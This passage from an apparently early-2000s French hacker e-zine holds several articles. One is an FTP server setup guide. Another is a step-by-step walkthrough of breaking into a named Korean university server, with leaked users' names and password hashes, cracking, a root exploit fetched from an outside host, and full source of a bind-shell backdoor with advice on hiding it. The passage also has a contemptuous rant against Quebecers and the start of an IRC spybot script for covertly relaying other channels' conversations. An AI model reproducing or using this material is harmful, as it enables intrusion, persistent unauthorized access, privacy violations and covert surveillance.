votre  systme. en effet,  vous  pouvez  crer   des  users  qui  seront
limits seulement  au ftp (autrement dit, les user que vous  crez  dans
le cadre de ncftpd n'auront pas accs a votre telnet (et  n'auront   pas
de  shell cr (genre /home/bob)).  videment  on  peut  interdire   via
certains fichiers de  configuration l'accs au  telnet  et ftp a certain 
user  (/etc/hosts.allow /etc/hosts.deny   (dcris   plus  haut et  aussi 
/etc/login.access  /etc/login.degs) ) mais  c'est  une  autre  histoire, 
ncftpd   simplifie   par  le  fait    grandement   votre  administration
systme (pas de danger doublier  de  fermer l'accs au telnet, etc etc).


Passons maintenant a  l'explication,  bien  que  la  documentation  soit
bien   dtaill et facile a  comprendre sur le site de ncftpd,  je  vais
en faire un rsum  de  l'essentiel  ici,  gnralement  pour  ceux  qui
comprenne  mal  l'anglais  (mais  surtout parce que j'en ai envie). bon,
prenons pour acquis que  vous  avez dj  download  le   programme (pour
slackware, downloader l'archive suivante :  
ncftpd-2.6.3-linux-x86-export.tar.gz )


la premiere chose a  faire est de decompresser l'archive avec l'aide des
2 commandes suivantes :

gzip -d ncftpd-2.6.3-linux-x86-export.tar.gz 
tar xf ncftpd-2.6.3-linux-x86-export.tar 


copier  maintenant  le   contenu  du rpertoire cr convenant  a  votre
version  de  glibc  (2.1  si  vous avez slackware 7.1 par dfaut, anyway
si vous lavez  upgrad  vous  risquez  d'tre  au courant :])  dans  une
adresse permanente je vous suggre particulirement
/usr/local/etc/ncftpd

ditez  ensuite le fichier general.cf afin de  supprimer  (ou  mettre en 
commentaire(#)) les endroits qui sont indiquer (un  peu  comme lorsqu'on 
configure  un  eggdrop  (version  prcdante  de 1.6.x). la plus par des
settings  de  base  non  pas  a  tre  modifis, si vous possdez peu de
ram ou que vous s'avez que vous  n'aurais  jamais +  que  1  user ou 2 a 
la fois, vous pouvez diminuer le nombre de threads en attente, de toutes
faons,  si le besoin s'en fait sentir, ncftpd va en crer de  nouveaux.

pour un peu plus de securiter modifier la ligne suivante
u-restricted-groups=non
pour
u-restricted-groups=all

Cette  modification  fera que les users ne  pourrons  pas descendre dans
l'arborescence de votre  systme  plus bas que  leur  "home",  ca permet
deviter  que  quelqu'un  aille  visiter  votre  /etc/ppp/pap-secret (non
shadower) ou ajoute  un script de  lancement de rc5 dans votre config de
firewall que vous avez laisser en 777  (read  write  free  for  all) par
erreur :] (oui vraiment wuftpd par dfaut c d'la merde :])


afin de tester si votre installation fonctionne, il vous faudrait 
teindre  le deamon ftpd dj existant (s'il  est  activ).  Dans 
/etc/inetd.conf en mettant en commentaire la ligne qui s'applique
a votre ftpd gnralement :

ftp     stream  tcp    nowait   root    /usr/sbin/tcpd  wu.ftpd -l -i -a 
en defaut sur une machine slackware). Ensuite, killer le  pid inetd afin 
de  le restarter (avec  un ps -aux |grep inetd ,vous   devriez   obtenir  
quelque  chose du genre :


bash-2.04$ ps -aux |grep inetd
root        69  0.0  0.2  1740  712 ?        S    14:19   0:00 /usr/sbin/inetd
encoder    528  0.0  0.1  1312  512 pts/4    S    17:17   0:00 grep inetd
bash-2.04$      

faite un  kill  -9 du pid (528 dans le cas present), ou un killall inetd 
si vous etes laches :] et ensuite relancer inetd 	

bash-2.04$ whereis inetd
inetd: /usr/sbin/inetd /etc/inetd.conf /usr/man/man8/inetd.8.gz
bash-2.04$ /usr/sbin/inetd &
et  vous  serrez  maintenant  pret  a  lancer  ncftpd  (separement  pour 
l'instant (on test) avec la commande suivante :

/usr/local/etc/ncftpd/ncftpd -v /usr/local/etc/ncftpd/general.cf /usr/local/etc/ncftpd/domain.cf

En  faisant  un  telnet  localhost vous devriez dj pouvoir vous logger 
avec les  users  qui  existes dj sur votre machine, et ca devrais vous  
donner quelque  chose du genre :
 
bash-2.04$ ftp localhost
Connected to localhost.
220 mindkind.mindkind.net NcFTPd Server (unregistered copy) ready.
Name (localhost:encoder): encoder
331 User encoder okay, need password.
Password:
230-You are user #1 of 50 simultaneous users allowed.
230-
230 Logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>         


si vous avez ca, c'est signe que j'explique pas trop mal :] sinon, allez 
lire la  doc en anglais sur le site :] maintenant si vous tes satisfait 
du produit  installons   le  de  faon  plus  permanente.  ditez  votre
fichier  /etc/inittab  et ajouter a la fin  ce qui suit.



# ncftpd   

nc:2345:respawn:/usr/local/etc/ncftpd/ncftpd -q /usr/local/etc/ncftpd/general.cf /usr/local/etc/ncftpd/domain.cf

# end of /etc/inittab
   

Au prochain  dmarrage,  ncftpd  se lancera tout seul. maintenant voyons
comment ajouter des nouveau user, dans fait appelle  a la commande linux
adduser.  ceci  se fera facilement avec laide de la commande de   ncftpd
ncftpd_passwd  mais au paravent vous devez diter, dans domaine.cf  quel
liste de user/pass  vous  voulez  utiliser,   /etc/passwd  est  la   par
dfaut,      vous      pouvez      le      gardez      et       rajouter
/usr/local/etc/ncftpd/passwd.db .  Vous  pouvez  aussi ne garder  que la 
liste de user que vous crerez vous meme  pour  votre   ftp   et  flusher
/etc/passwd,  il  sagit  d'un  choix  personnelle, videmment flusher la
reference a  /etc/passwd  est  plus secure,  mais  si  vous  avez  faite
votre  job  dans  /etc/ftpusers  la  garder  vous viteras de refaire un
travaille  dj  faite.  vous  pourrez  donc ajouter des usagers ensuite
grce a la commande suivante:



bash-2.04# ./ncftpd_passwd -f passwd.db -c -a "wyzeman:billybob:1010:110:moimeme:/home/ftp/wyzeman:/bin/bash"

et modifier les mots de passe de la facon suivante :]
New password for wyzeman:
Verify password for wyzeman:
Password changed for user wyzeman.
bash-2.04#    

vous  voici  donc  avec  un  ftp  scuritaire,  vous  voici prt a allez 
coeurer le monde  sans  vous  faire  toaster  (sauf  si vous tomber sur 
quelqu'un qui en sait plus que  la  plus  par  des  prtendants  hackers
:],   jespere  pouvoir  vous  revenir  dans  le  #2 avec  quelques trucs
supplmentaires. d'ici la, enjoy the ride and dont play with match


						                 Wyzeman

.-----------------------------------------------------------------------.
|                                                                       |
'-----------------------------------------------------------------------'




    < when the linerec:// werks : Mindkind radio! 216.113.38.3:8000 >
                                               [ Thanx to ExPl0iTeD ]




                                                                  .--.
.----------------------------------------------------------------/  /--. 
| Root for rent                                                 /  /   |
|     a k a                                                    /  / 06 | 
| how can the root get so fat?                                /  /     |  
'------------------------------------------------------------/  /------' 
                                                            '--'

Aujourd'hui, vous aller apprendre comment  hacker  tape par  tape.  Si
vous ne comprenez pas cette article, veuiller  donner  votre  pc  a  une 
personne plus comptente que vous  (exemple:  moi, ou un hamster). C'est 
a dire que  le  texte  qui  suis est en fait  trs  simple il qu'il vous 
suffit de  suivre la mthode tape par tape pour  raliser  votre rve, 
devenir root d'une machine  corenne linux servant de  sous-verre (C'est 
comme  un  cd  de sympatico en fait). Pourquoi avoir  un  shell me direz 
vous ? Premirement, c'est moins forant que d'installer  et  configurer
linux  soit  mme  (pour  lche  seulement) ou ca  peux   vous  servir a 
installer une multitude de programme pouvant vous servir  pour  des hack 
futur  sans  pour  autant  compromettre  votre  scurit  puisque    les
programmes seront excuts en remote sur une machine  qui n'est  pas  la
votre. Commencons  par  le  plus  simple, trouver la box corenne de nos 
rves.


N.B. :je ne prtends pas donner  de  recettes miracles fonctionnant avec
toute les box ni donner LA seul facon d'hacker, c'est avant tout un hack
ducatif  servant a dmontrer une  facon de pirater une box sans trop se 
casser la tete et sans trop possder de skillz d'lite...


Where is the box?
=================

Nous allons pntrer la box par un  bug cgi. Ces bugs sont asss simples
a comprendre  et  a exploiter  et  surtout ne demande pas de compilation
d'exploits sur  un  shell (  dans  la mesure ou nous ne possedont qu'une 
machine  Win9x  et  aucun  contact  avec  des  propritaires  sympa   de
box linux  ou  bsb ). Nous devons  nous  trouver  un  exploit  facile  a
comprendre  pour  notre  pauvre  petit  cerveau   et  surtout   des  box
exploitables par  ce meme trou de scurit. Pour  cela  nous  visiterons
le site NightBird  (http://www.nightbird.fr.st ) a  la  recherche de bug
cgi  rcents.   Une   faille   semble    intressante   (disponible   au
http://www.nightbirdfr.com/index2.php?pg=./exploits/man-cgi.txt). Simple 
a raliser,  elle  permet  de  visionner n'importe quel fichier  sur  la
machine possdant le cgi.
Exemple (ripper de la doc):

http://www.ntua.gr/cgi-bin/man-cgi?%20/etc/hosts%20
affiche

#
# Internet host table
#
127.0.0.1       	localhost
#147.102.222.210        achilles.noc.ntua.gr    achilles
147.102.222.210 	achilles.noc.ntua.gr    achilles
147.102.222.211 	patroklos.noc.ntua.gr   patroklos
147.102.222.230 	ulysses.noc.ntua.gr     ulysses
# Required for backup
147.102.222.250 menelaos.noc.ntua.gr    menelaos

Vous comprenez ?
C'est en fait tres simple. Le cgi nous permet de lire un fichier sur la
box. Comme nous ne voulons pas  hacker de grec mais bien un coren.  il
nous faudra trouver une box coreeene. Pour cela, nous  utiliserons   le
logiciel  webfurret  de  la  socit   furretsoft (www.furretsoft.com).
Nous  lancerons  une  recherche  sous  la  requte 
(l'url comprends /cgi-bin/man-cgi )  voila le  genre  de  box  que nous
cherchons: http://censored.university.ac.kr/cgi-bin/man-cgi?


Webfurret
=========
le logiciel qui nous sert a faire la recherche de box vulnrable est en
fait asser simple d'utilisation. Il permet de rechercher sur  plusieurs
engin de recherche a la fois ( il ne vaut pas google) mais  il  possede
en revanche une fonction tres intressante. Il permet de  recherche  si
l'url contient tel mot. Exemple: il nous dresse la  liste  de  tout les 
sites ayant man-cgi d'installer. Il suffit de lancer la  recherche avec
les options "Exact Phrase" , "Only search the page URL" et
"Remove duplicate hosts".


entra entra!
============
youhou le departement de math d'une universite coreene nous ouvre ses 
portes.  Nous  recuperons  le  /etc/passwd   avec  opera spoofer  avec 
multiproxy (www.multiproxy.org)
http://censored.university.ac.kr/cgi-bin/man-cgi?/etc/passwd

ykang:oP1vJGPuGLwoE:523:300:Hyuk Je Kang:/home/ugrad/hykang:/bin/bash
jwjo:C9sP4AitWRy72:524:300:Jae Wan Jo:/home/ugrad/jwjo:/bin/bash
jhim:MelSxA03R48OI:525:300:Jeong-Hyo Im:/home/ugrad/jhim:/bin/bash   
jochon:MHUbT2dy3vw7M:526:300:Jung Ok Chon:/home/ugrad/jochon:/bin/bash
sbyang:DHncJ4DWZwTKk:527:300:Seung Bun Yang:/home/ugrad/sbyang:/bin/bash 

etc...
Nous decryptons le le mot de passe avec john the ripper (plusieurs docs
sur le net et dans les zines informez-vous )

Nous avons maintenant access a la box


Now get the root lamah!
=======================

Nous entrons sur la box avec un spoof donner par un telnet gateway (nous
ne  possedons  pas  encore  de  shell, donc ne ne pouvons pas prendre de 
shell hacker pour nous spoofer, de toute facon je conseille fortement de 
prendre un  telnet  gateway  a  moins que vous ne possediez un root avec
backdoor sur un box qui ne conserve pas de logs) on telnet la box et...
l'cran suivant apparait

ALZZA Linux on an i686

Warning: your telnet session will be sending and  receiving  unencrypted
         login/password and session information over the network.

login: 

nous entrons le login ykang que john the ripper a decrypter

Password: 

nous entrons le mot de passe donn par john  (  c'est  normal  que  vous
ne voyez pas de ***** comme  en  windows,  linux  ne  marque  rien  tout 
simplement lorsque vous appuyer sur les touches.)

------------------------     ----------------------------------------

2001 1 31ڷ а (math) ý ٲϴ.
  ȣ ״     ϳ
Ʈ ϱ ٶϴ.  ̿  ּ (soochoi@censured.university.ac.kr) 
ϱ ٶϴ.  ο ý   ϴ.
CPU: AMD 700MHz
HD: 40GB
MEM: 128MB
SWAP: 128MB
OS: Linux Kernel Version 2.2 
׸   ϴ euler ̸  ʰ
math ȣƮ ̸  ϱ Ͽϴ.
    ٶϴ.
                                2001 1  31
-------------------------------------------------------------------------

bash$

Nous  apprenons  ici que l'ordinateur possede un micro-processeur amd de 
700MHz,  un disque dur de 40 gigs et 128 megs de RAM. Nous pouvons aussi 
remarquer  la  laideur  des  caracteres  coreeen  pour  toute ordinateur 
non-adapt a cette criture. Nous  voyons aussi le  prompt  "bash$"  qui
est l'endroit ou nous devons entrer les commandes. Si vous ne connaissez 
pas le systeme que vous venez de  pirater, la fonction help fais souvent 
apparaitre un menu d'aide.

bash$ help
GNU bash, version 1.14.7(1)
Shell commands that are defined internally.  Type `help' to see this list.
Type `help name' to find out more about the function `name'.
Use `info bash' to find out more about the shell in general.

A star (*) next to a name means that the command is disabled.

 %[DIGITS | WORD] [&]               . filename
 :                                  [ arg... ]
 alias [ name[=value] ... ]         bg [job_spec]
 bind [-lvd] [-m keymap] [-f filena break [n]
 builtin [shell-builtin [arg ...]]  case WORD in [PATTERN [| PATTERN].
 cd [dir]                           command [-pVv] [command [arg ...]]
 continue [n]                       declare [-[frxi]] name[=value] ...
 dirs [-l]                          echo [-neE] [arg ...]
 enable [-n] [name ...]             eval [arg ...]
 exec [ [-] file [redirection ...]] exit [n]
 export [-n] [-f] [name ...] or exp fc [-e ename] [-nlr] [first] [last
 fg [job_spec]                      for NAME [in WORDS ... ;] do COMMA
 function NAME { COMMANDS ; } or NA getopts optstring name [arg]
 hash [-r] [name ...]               help [pattern ...]
 history [n] [ [-awrn] [filename]]  if COMMANDS; then COMMANDS; [ elif
 jobs [-lnp] [jobspec ...] | jobs - kill [-s sigspec | -sigspec] [pid 
 let arg [arg ...]                  local name[=value] ...
 logout                             popd [+n | -n]
 pushd [dir | +n | -n]              pwd
 read [-r] [name ...]               readonly [-n] [-f] [name ...] or r
 return [n]                         select NAME [in WORDS ... ;] do CO
 set [--abefhknotuvxldHCP] [-o opti shift [n]
 source filename                    suspend [-f]
 test [expr]                        times
 trap [arg] [signal_spec]           type [-all] [-type | -path] [name 
 typeset [-[frxi]] name[=value] ... ulimit [-SHacdfmstpnuv [limit]]
 umask [-S] [mode]                  unalias [-a] [name ...]
 unset [-f] [-v] [name ...]         until COMMANDS; do COMMANDS; done
 variables - Some variable names an wait [n]
 while COMMANDS; do COMMANDS; done  { COMMANDS }


donc  vous  pouvez  en  profiter pour rcuprer de la doc sur  l'OS.  La
commande  ?  fonctionne  aussi si help venait a vous faire dfaut.  Bon,
maintenant nous  devons  rooter  cette  foutu box si nous voulons passer 
inapercu.

bash$ uname -a
Linux censured.university.ac.kr 2.2.16-3.az #1 Fri Jul 21 14:24:01 KST 2000 i686 unknown

Nous savons maintenant que cette box possede le kernel 2.2.16-3 de Linux. 
Pour les services tournant sur la machine, nous pouvons nous rfrer  au
fichier /etc/inetd.conf que nous pouvons faire apparaitre a l'aide de la
commande cat /etc/inetd.conf .

bash$ cat /etc/inetd.conf
#
# inetd.conf    This file describes the services that will be available
#               through the INETD TCP/IP super server.  To re-configure
#               the running INETD process, edit this file, then send the
#               INETD process a SIGHUP signal.
#
# Version:      @(#)/etc/inetd.conf     3.10    05/27/93
#
# Authors:      Original taken from BSD UNIX 4.3/TAHOE.
#               Fred N. van Kempen, <waltje@uwalt.nl.mugnet.org>
#
# Modified for Debian Linux by Ian A. Murdock <imurdock@shell.portal.com>
#
# Modified for RHS Linux by Marc Ewing <marc@redhat.com>
# Modified for ALZZA Linux by Man-Yong Lee <manyong@gnu.org>
#
# <service_name> <sock_type> <proto> <flags> <user> <server_path> <args>
#
# Echo, discard, daytime, and chargen are used primarily for testing.
#
# To re-read this file after changes, just do a 'killall -HUP inetd'
#
echo    stream  tcp     nowait  root    internal
echo    dgram   udp     wait    root    internal
discard stream  tcp     nowait  root    internal
discard dgram   udp     wait    root    internal
daytime stream  tcp     nowait  root    internal
daytime dgram   udp     wait    root    internal
chargen stream  tcp     nowait  root    internal
chargen dgram   udp     wait    root    internal
time    stream  tcp     nowait  root    internal
time    dgram   udp     wait    root    internal
#
# These are standard services.
#
ftp     stream  tcp     nowait  root    /usr/sbin/tcpd  in.ftpd -l -a
telnet  stream  tcp     nowait  root    /usr/sbin/tcpd  in.telnetd
#
# Shell, login, exec, comsat and talk are BSD protocols.
#
#shell  stream  tcp     nowait  root    /usr/sbin/tcpd  in.rshd
#login  stream  tcp     nowait  root    /usr/sbin/tcpd  in.rlogind
#exec   stream  tcp     nowait  root    /usr/sbin/tcpd  in.rexecd
#comsat dgram   udp     wait    root    /usr/sbin/tcpd  in.comsat
talk    dgram   udp     wait    nobody.tty      /usr/sbin/tcpd  in.talkd
#ntalk  dgram   udp     wait    nobody.tty      /usr/sbin/tcpd  in.ntalkd
#dtalk  stream  tcp     wait    nobody.tty      /usr/sbin/tcpd  in.dtalkd
#
# Pop and imap mail services et al
#
pop-2   stream  tcp     nowait  root    /usr/sbin/tcpd  ipop2d
pop-3   stream  tcp     nowait  root    /usr/sbin/tcpd  ipop3d
imap    stream  tcp     nowait  root    /usr/sbin/tcpd  imapd
#
# The Internet UUCP service.
#
#uucp   stream  tcp     nowait  uucp    /usr/sbin/tcpd  /usr/lib/uucp/uucico    -l
#
# Tftp service is provided primarily for booting.  Most sites
# run this only on machines acting as "boot servers." Do not uncomment
# this unless you *need* it.  
#
#tftp   dgram   udp     wait    root    /usr/sbin/tcpd  in.tftpd
#bootps dgram   udp     wait    root    /usr/sbin/tcpd  bootpd
#
# Finger, systat and netstat give out user information which may be
# valuable to potential "system crackers."  Many sites choose to disable 
# some or all of these services to improve security.
#
finger  stream  tcp     nowait  nobody  /usr/sbin/tcpd  in.fingerd
#cfinger stream tcp     nowait  root    /usr/sbin/tcpd  in.cfingerd
systat  stream  tcp     nowait  guest   /usr/sbin/tcpd  /bin/ps -auwwx
netstat stream  tcp     nowait  guest   /usr/sbin/tcpd  /bin/netstat    -f inet
#
# Authentication
#
# identd is run standalone now
#
#auth   stream  tcp     wait    root    /usr/sbin/in.identd in.identd -e -o
#
# End of inetd.conf

linuxconf stream tcp wait root /bin/linuxconf linuxconf --http
#swat      stream  tcp     nowait.400      root /usr/sbin/swat swat

Maintenant, nous devons tenter de trouver un exploit pouvant nous donner 
le   root   sur   la   machine.  Une  visite   sur   www.hack.co.za   ou 
ftp.technotronic.com s'impose. j'ai choisi  l'Exploit mount.c car il est 
simple  a  compiler  et  a  excuter.   Nous   prenons  l'exploit    sur
http://www.hack.co.za, apres nous l'uploadons sur  un  account  free sur 
xoom par exemple. Aprs, il suffit de le downloader a partir  du  shell.
bash$ ftp ftp.xoom.com

on donne notre login/password
et apres on fait
get mount.c
l'exploit sera downloader dans le rpertoire actif de notre  shell.  Une 
fois que l'exploit est sur le shell, il faut le compiler. Il  suffit  de 
faire gcc mount.c -o mount pour  faire apparaitre le  fichier excutable 
mount On poursuit avec un
./mount
et la miracle!!!!
notre prompt change de bash$ pour devenir bash# . Une verificaion rapide 
s'impose, entrons la commande

bash# whoami
root

Vous etes maintenant l'utilisateur root :)


Conserver le status root
========================
Maintenant que nous sommes root sur la machine, l'objectif est de ne pas 
le perdre et d'effacer les traces de notre infraction. Une des premieres
choses a faire serais de faire la commande
bash# cat /etc/shadow
pour se garder des voies d'entrer en cas de problemes.
Aussi,  un  backdoor  peut-etre  tres  utile si on veux faire runner des 
programmes sur la box sans que  cela  paraisse.  Nous  avons  choisi  de 
prendre socdmini.c car encore une fois, il s'agit d'un  exploit simple a 
installer et a faire fonctionner.

/* quick thingy... bind a shell to a socket... defaults to port 31337 */
/* code by pluvius@io.org                                             */
/* don't forget.. when you connect to the port.. commands are like:   */
/* "ls -l;" or "exit;" (don't forget the ';')                         */
#define PORT 31337
#include <stdio.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid;
struct sockaddr_in serv_addr; struct sockaddr_in client_addr; 
int main () { soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 
if (soc_des == -1) exit(-1); bzero((char *) &serv_addr, sizeof(serv_addr));
serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
serv_addr.sin_port = htons(PORT); soc_rc = bind(soc_des, (struct sockaddr *) 
&serv_addr, sizeof(serv_addr)); if (soc_rc != 0) exit(-1); if (fork() != 0) 
exit(0); setpgrp(); signal(SIGHUP, SIG_IGN); if (fork() != 0) exit(0); 
soc_rc = listen(soc_des, 5); if (soc_rc != 0) exit(0); while (1) { soc_len = 
sizeof(client_addr); soc_cli = accept(soc_des, (struct sockaddr *) &client_addr,
&soc_len); if (soc_cli < 0) exit(0); cli_pid = getpid(); server_pid = fork();
if (server_pid != 0) { dup2(soc_cli,0); dup2(soc_cli,1); dup2(soc_cli,2);
execl("/bin/sh","sh",(char *)0); close(soc_cli); exit(0); } close(soc_cli);}}


Donc,  il  s'agit  tout   simplement   d'un   deuxieme   telnetd    sans 
login/password sur un port  customisable.  La  seule  difference est que 
tout les commandes doive finir par ; et que surtout, les access a la box 
et les programmes  excuter  ne  sont  pas  logger.  Je  vous  conseille 
fortement de prendre une backdoor fonctionnant  avec un authentification 
par mot de passe car un simple portscan rvle la  vulnrabilit  de  la 
box. La deuxime chose importante est de changer l e  port  par   dfaut
car  31337  est  asser  vident   sur   l'origine   de    l'application. 
Troisimement,  je  vous  conseille  de  renommer la backdoor en quelque 
chose de plus subtil que  socmini  pour  que le vrai root ne la dcouvre 
pas avec une simple  commande  ps.  Pour  ceux  qui  non vraiment aucune 
connaissance du langage  c ou de la logique de programmation,  remplacer
la ligne
#define PORT 31337
pour par exemple
#define PORT 4254
si vous voulez que le port de la backdoor soit 4254.


Now you're a root
=================

Maintenant, faites se que vous voulez de la box,  et  tacher  de  rester 
discret. Je  tiens a prciser que je n'encourage personne a pirater mais 
ceci est un  exemple  d'une attaque de script-kiddies asser simple, mais 
qui permet de controler entierement l'ordinateur a distance.


MindFlayR
mind@underdark.cc


.-----------------------------------------------------------------------.
|                                                                       |
'-----------------------------------------------------------------------'




                                      /\                +----------------+
                                  /\  ii  /\            |The Ferocious   |
                                  ii--ii--ii-           |Beast Is Proud  |
                 _________     //-           -\\        |To Sponsor our  |
  ,       ,-----'    ******--//                 \\      |e-zine          |
  |\,   //******      **** //   ___          ___  \\    +----------------+
  1*\ ///  ****           /    /   \      | /   \   \
   \//                   |    |   * |     ||   * |   |
   /      ****          |     |     |     ||     |    |
  |*     ******   ****  |     |     |     ||     |    |
 |***    ******  ****** |      \___/      | \___/     |
|****     ****   ****** |                 '\,         |   \,,---------
|***              ****  |   \_/       ------'         |    \\ Roar !! \\
|                       |    '\                       |    'Im Ferocious\
 |  ****                 |     \,                    |     |And Mindkind |
  |******    ****         \     '\,                 /      |own me !     |
   \****    ******    **** \\     '\,___.         //       |             |
    \\*     ******   ******  \\                 //         | GOOGLY!     |
      \\\    ****    ******    \\_____________//            \  MOOGLY!  /
         \\\\-        ****     ,//                           \\       //
          ;----;-------;----;-//'                              -------
          |    '\,     | ****\,
          \-----'      \--****'






                                                                  .--.
.----------------------------------------------------------------/  /--. 
| le pouvoirs des cons                                          /  /   |
|     a k a                                                    /  / 07 | 
| quand on choisi deliberement la stupiditer                  /  /     |  
'------------------------------------------------------------/  /------' 
                                                            '--'

Jours  aprs  jours, mois aprs mois, annes aprs annes, le  qubcois 
devient de plus en plus stupide et con.

Vous ne trouvez pas que le qubcois moyen pogne ? Moi oui, Prennez  par 
exemple les supers lections  qu'on  vient d'avoir.  Vous  allez dans un 
restaurant vous  entendez  les  gens qui chialent contre le gouvernement
vous allez au magasin, vous entendez encore des gens qui  se  plaignent. 
Meme  a  la  maison  vos  parents  se   plaignent   continuellement   du 
gouvernement. Alors, il serait normal que la  dmocratie  fonctionne  et
qu'on l'utilise. PFFF surprise, 63%  de  participation  aux   lections.
Chose cocasse, le  gars  de  la  radio AM   avant   les   lections   se
plaignait, le lendemain il c'est vant ONLINE de ne pas tre aller voter

Je vais vous le dire le quebecois moyen  n'est  pas  seulement  stupide, 
cest un lache ! Les prix de l'essence ont grimp de  50%,  le  quebecois 
c'est plein au maximum et quand les  petrolieres ont anonc publiquement 
que leur profit n'avait jamais t aussi lev, les quebecois ont baiss 
les bras. VIVE LA RESISTANCE. Le quebecois aime se faire chier dessu, il 
en a meme besoin. Les americains lui chie dessu, les  francais  lui chie 
dessu et en plus , il se chie dessu lui  meme.  Mais  il  repond  quoi a 
toute ces affirmations ?? "cest la faute au gouvernement", "cest a cause 
des imigrants"  Le  quebecois est incapable de se rendre compte que cest 
seulement et  entierement  de  sa  faute si les anglais sont en train de 
bouffer sa  langue  maternelle. Dailleur !! demandez a la fiere jeunesse
ce qu'elle pense de sa langue et de sa culture et  vous  allez  surement 
etre surpris. Le quebecois est en voix de disparition par sa faute et il 
sen fou. Je le dit et je suis  sincere , tout  le s quebecois  sont  des 
imbeciles.

Parlons un peu de cette jeunesse qui crie plus fort que nimporte qui que 
la socit cest de la merde,  cette  jeunesse qui est prete a casser des 
vitres et a peinturer  des coneries pour "sexprimer". Cette jeunesse qui 
passe son temp a fumer et qui glande a lecole tout  en se  repetant  son 
slogan prfr : "fuck la vie , fuck la langue , fuck  la socite, fuck 
l'autorite, fuck all". Gagne de looser. je suis un jeune et je me joint 
au mouvement : "fuck le quebec"

La  loi  101  qui  nous  protegeait  legerement  va  etre  abolie,  nous 
nintegrons plus les immigrants, au lieu de sa on  les  laisse sinstaller 
et "vivre leur culture" nous sommes  dailleur  le  seule  coin  au monde 
assez stupide pour se  laisser  assimiler. Maintenant dans les ecoles on 
apprends aux enfants des tas de religion et de sectes pour etre  sur que 
notre peuple disparaisse. Notre fete nationale  est une vraie farce, les 
jeunes et les plus vieux l'aime  parce  quon  peut  se  souler a mort et 
oublier nos problemes et quand on est saoul cest plus facile de dire que
tout va bien.

Le quebecois moyen est un petit peureux. Quand le francais le  traire de 
con il se dit que cest pas de sa faute, quand  l'americain  le traite de 
con il se dit que de toute  facon  is ont tout les droits et quand il se 
fait traiter de con par un autre quebecois il dit "toi le premier".

le peuple quebecois vit avec les yeux ferm , il se  bat  dans  sa  tete 
contre des enemis quil croit reel. 99% des  quebecois sont convaincu que 
se plaindre dans sa tete fait  bouger les choses. - Maudites petrolieres 
il nous bouffe toute notre argent !! , - pourquoi tu va pas   manifester 
avec les autres ? , - ben jai mieu a faire.

Le quebecois sont des trou  de  cul  et  bientot  il  parleront anglais, 
arabe  et  hebreux,  porteront  des vetements asiatiques et peseront 500 
lbs. Le quebec sera bientot sous un regime militaire  ou  communiste, ou 
bien il deviendra un etats des US.

L'assimilation nous guete et tout le monde sen fou. vive  le  quebec. et 
vive les cons.

                			init_null (with an english touch)

.-----------------------------------------------------------------------.
|                                                                       |
'-----------------------------------------------------------------------'





<init_null> Cannot find REALITY.SYS. Universe halted.





                                                                  .--.
.----------------------------------------------------------------/  /--. 
| little brother 1.0                                            /  /   |
|     a k a                                                    /  / 08 | 
| la saga d'une boite de bine                                 /  /     |  
'------------------------------------------------------------/  /------' 
                                                            '--'

    l'article  suivant, a  2  but  principale, 1, de donner a  ceux  qui 
sont  lache, un tcl efficace pour eggdrop afin de creer  un  spybot,  et  
en  2eme  lieu de faire lieu de reference pour l'utilisation  de  socket  
en  TCL,  domaine qui manque  malheureusement de documentation (il sagit 
en fait d'un des premiers  TCL  public pour  eggdrop  a  faire  appel  a 
l'utilisation de Socket  (ce n 'est  pas le premier j'en convient,  mais   
les   expliquations  fournie  avec eviterons  bien  des  mots de tete  a  
qui  voudrais  creer  une  application  du  genre  pour  sont   eggdrop. 
personnellement j'ai  du  me  baser  sur  des reference de tcl "normal", 
plutot vague d'ailleur,  afin  d'arriver a mon but ( pas de  danger  que 
j'aille recu l'aide  esperer  sur  undernet (#scripteur  #scripteurs  et 
tout les chan  de  wanabe  egg warlord (#19 genre)). enfin, si vous etes  
trop lache pour essayer de comprendre, copier/coller le code, et ajouter   
le en tcl/script a un de vos egg, 


    Comment utiliser le script ? 
    
    
c'est pas compliquer, si vous etes capable  de  rentrer  sur  irc,  vous 
allez etre capable de vous en servires.  un  coup  installer  et  laoder 
vous n'avez qua taper sur  le  chan ou vous desierez voir l'info arriver 
!pipe nick #chan.

ie: !pipe Encoder #securiweb, va faire entrer sur securiweb un spybot au  
nick  de  encoder  qui  va  paster  tout la  conversation  de  securiweb  
sur  votre  chan (c'a peu etre pratique quand on est plusieur a voulloir  
spyer un meme  chan, ca evite un mass join peu subtile).
    

si vous avez un wingate (un  vrai qui renvois la string  WinGate> , vous 
pourez faire  passer  le  robot par la avec  la commande  suivante !pipe 
nick #chan wingate port

ie : !pipe Encoder #securiweb wingate.com 23

le resultat va etre le meme en bout de ligne sauf que  votre  spybot  va 
avoir le ip du wingate  (moin  reperable ou plus (genre un .jp c'est pas 
trustable :])

ps : si vous voullez utilise le code noubliez  pas   de  creer  dans  le 
repertoire de votre  egg  un  fichier  text  nomer server.txt et inserer 
dedans vos serveur preferer.

bon passont au code :} si vous etez avares d'espace vous pouvez toujours 
enlever les lignes #

comme il sagit dun code free (sans  license),vous en faites ce  que vous  
voullez,  mais  si  vous  faites  des  modifs  interressante  j'aimerais  
que  vous  m'en  facier  par via  encoder@operamail.com  

----------------------lazy cut here------------------------

# Spybot 1.0 by Wyzeman tcl script for Cybersix 


#c'est ici que sa commence ;]
bind pubm - * pipe
proc pipe {nick host hand chan triggers} {
   set triggers [string tolower $triggers]
#mettre tout en minuscule (ce qui vien du chan irc primaire
#et non pas celui quon spy)
   if {[string match !pipe*  $triggers]} {
#si tu vois !pipe quelquechose, commence a faire dequoi
       set pipehost [open server.txt "r"]
       set cline 0
       while {![eof $pipehost]} {
       set lines($cline) [gets $pipehost]
       incr cline
       }
       close $pipehost       
       set pipehost $lines([rand $cline])      
#ici on determine le server undernet choisi dapres une liste
#creer dans un fichier text (server.txt en attache au ezine)
       set pipeport "6660"
#afin deviter que le monde fasse des query stupide jai 
#limiter le port a 6660 (jaurais pu faire un random comme
#pour le serveur, mais bof, si ca fait pas votre affaire 
#vous n'avez qua le modifier       
       set pipenick [lindex $triggers 1]
#le nick choisir (qui correspong au 2e caractere de la string
#!pipe (le premier caractere etais representer par 0)
       set pipechan [lindex $triggers 2] 
